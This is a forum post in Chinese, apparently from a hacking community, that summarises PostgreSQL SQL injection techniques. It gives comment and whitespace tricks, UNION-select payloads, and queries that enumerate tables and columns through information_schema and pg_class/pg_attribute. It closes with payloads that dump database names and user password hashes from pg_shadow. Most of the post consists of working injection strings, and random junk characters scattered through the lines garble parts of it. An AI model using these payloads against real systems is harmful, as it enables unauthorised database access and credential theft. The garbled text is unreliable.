找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2218|回复: 0
打印 上一主题 下一主题

postgreSQL注入总结

[复制链接]
抢楼 抢楼 本帖为抢楼帖,欢迎抢楼! 
跳转到指定楼层
楼主
发表于 2013-10-13 12:57:16 | 只看该作者 回帖奖励 |阅读模式
结合了MSSQL MySQL Oracle的一些特点" ~7 b! [( L3 V3 }; _

支持多语句执行,语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/
4 K4 u% L. ]: I) e( ~连接符: %20 , + , /**/

内置函数:. C: v% q7 L8 R# j$ H: A; R) |9 w
current_database() //当前数据库名2 I! ~7 y+ V" [1 ?2 j
session_user //会话用户
' w' }- B" R$ N7 b7 u/ @current_user //当前数据库用户% q. b' X0 G) |) u4 v' B
user //当前用户
8 h/ L8 h8 a# Y5 g& s& Y) vversion() //数据库版本

Union注射:
  F: j. m! k0 b2 ~. j; F: porder by n–7 t1 D- O, \, X% y% t
and 1=2 union select null,null,null–: C' [# N1 @$ @$ |4 l/ J
and 1=2 union select ‘beach’,null,null–+ E' [/ L3 s" t& z! \
and 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):' q* G( @( H1 I) G
group_concat(table_name)
) i$ r' I# b$ [$ w9 Oand 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–8 O; K6 J" E/ A2 R5 N; u; @# n
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
1 D, h9 c/ M6 ?+ E4 t(老版本)
1 P+ B  O( C' u% \7 [pg_class.oid对应pg_attribute.attrelid# M8 X. q* ?8 c7 R4 z& D. p& d  {
pg_class.relname表名
5 u2 k3 t! U! ]pg_attribute.attname字段名

select relname from pg_class获取表名1 O; B) M6 p9 {9 {0 i$ \; c
select oid from pg_class where 条件 获取参数) n* k: W0 G$ u( Y7 Q# d( i
select attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:% v' E3 Y" ~; j( f& Z8 I9 @
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表# _! t8 B# Z; `5 U5 d2 p: ?$ _3 J2 D% ]" y
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–  l0 y& u" ^- C
由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
. t2 M3 n/ a3 ^5 U: {, h8 }& u======================================================================
; |5 ^$ Y9 P" U2 ^and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
" }. q3 h9 ]! b) Oand 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表